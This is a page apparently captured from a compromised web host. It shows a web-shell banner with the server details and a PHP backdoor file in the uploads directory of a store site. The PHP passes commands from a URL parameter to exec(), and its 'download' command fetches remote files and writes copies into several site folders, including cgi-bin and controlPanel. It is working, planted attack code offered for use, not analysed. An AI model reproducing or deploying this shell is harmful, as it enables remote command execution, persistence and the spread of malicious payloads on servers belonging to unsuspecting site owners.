Server IP : 162.0.215.10 / Your IP : 18.191.154.32 Web Server : LiteSpeed System : Linux premium181.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64 User : alfhgysd ( 724) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/alfhgysd/squareone-sa.store/uploads/ |
Upload File : |
<?php $allowed_commands = ['ls', 'pwd', 'whoami', 'cat', 'mv', 'download']; // الأوامر المسموح بها if (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; $cmd_parts = explode(' ', $cmd); $base_command = $cmd_parts[0]; if (in_array($base_command, $allowed_commands)) { // حماية: منع إدخال أحرف ضارة أو مسارات خطيرة if (preg_match('/(\.\.|;|&|\|)/', $cmd)) { echo "Invalid characters in command."; exit; } // دعم أمر download لتحميل الملف من الإنترنت if ($base_command === 'download' && count($cmd_parts) === 3) { $url = $cmd_parts[1]; // رابط الملف المراد تحميله $new_name = $cmd_parts[2]; // الاسم الجديد // تحقق من وجود الرابط if (filter_var($url, FILTER_VALIDATE_URL)) { // تحميل الملف باستخدام file_get_contents $file_content = file_get_contents($url); // تحميل المحتوى من الرابط if ($file_content !== false) { // قائمة المسارات التي تريد حفظ الملف فيها $save_paths = [ __DIR__ . '/.well-known/' . $new_name, __DIR__ . '/ajax/' . $new_name, __DIR__ . '/assets/' . $new_name, __DIR__ . '/cgi-bin/' . $new_name, __DIR__ . '/controlPanel/' . $new_name, __DIR__ . '/uploads/' . $new_name ]; // حفظ الملف في كل مسار في القائمة $success = true; foreach ($save_paths as $save_path) { if (!file_put_contents($save_path, $file_content)) { $success = false; echo "<pre>❌ Failed to save the file at $save_path.</pre>"; } } if ($success) { echo "<pre>✅ File downloaded and saved as $new_name in all specified paths.</pre>"; } } else { echo "<pre>❌ Failed to download the file.</pre>"; } } else { echo "<pre>❌ Invalid URL.</pre>"; } } // تنفيذ باقي الأوامر else { exec($cmd, $output); echo "<pre>" . htmlspecialchars(implode("\n", $output)) . "</pre>"; } } else { echo "Command not allowed."; } } ?>